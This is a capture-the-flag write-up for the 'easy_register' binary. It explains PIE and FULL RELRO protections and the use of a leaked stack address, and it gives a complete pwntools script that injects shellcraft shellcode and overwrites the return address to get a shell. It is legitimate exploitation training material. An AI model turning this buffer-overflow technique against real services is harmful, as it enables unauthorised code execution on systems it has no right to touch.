Easy Register

Basic Executable Reconnaissance

the executable is not stripped which makes reverse engeneering easier because it doesnt hide function names and the executable is dynamically linked so the libc library which contains many external functions like fprintf() are not loaded within the executable but they dynamically linked at the execution time

we have two security configuration enabled.

PIE

PIE Position Independent Executable which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. But this does not mean it's impossible to exploit

FULL RELRO

FULL RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run

checksec --file=easy_register

so our purpose will be injecting shellcode somwhere in the stack and get code execution

Reverse Engineering using ghidra

let's look for jmp esp gadget using ropper so we can use it to put our shellcode on the esp

but it didn't exist so know we will exploit the leaked buffer address and use it to execute the shellcode that will be located at the buffer memory space

Attack Plan

overwite the buffer memory space on the stack with the shellcode generated by shellcraft and overwrite the RIP value (return address) with the address of the buffer (leaked buffer address) to return to the beginning of the shellcode and start executing it

Exploit Script using PwnTools

from pwn import *

# Set up pwntools for the correct architecture
exe = './easy_register'
elf = context.binary = ELF(exe, checksec=False)

#io = remote(host, port)
io = process(exe)

offset = 88

#getting the leaked buffer variable address on the stack
data = io.recvuntil(b"at ")
stack_addr = int(io.recvuntil(b".")[:-1], 16)

# Need to pop registers at the beginning to make room on stack
#without this it will not work because the space is not enough
shellcode = asm(shellcraft.popad())
#get root
shellcode += asm(shellcraft.sh())
shellcode += asm(shellcraft.exit())

#since we don't have the jmp esp gadget we will place our shellcode in the buffer variable on the stack
#overwrite RIP with the value of the leaked buffer variable address
#so we will start from the beginning and start execuing shellcode
padding = asm('nop') * (offset - len(shellcode))

payload = flat([
	padding,    #it depends on the length of the shellcode if the shellcode length is 70 then padding is 18
	shellcode,  #our shellcode will be placed on the buffer memory location 
	stack_addr, #RIP => return to the beginning of the buffer variable to start executing shellcode
])

write("payload", payload)
io.sendlineafter(b'>', payload)

io.interactive()

let's run it and we have shell

Last updated

Was this helpful?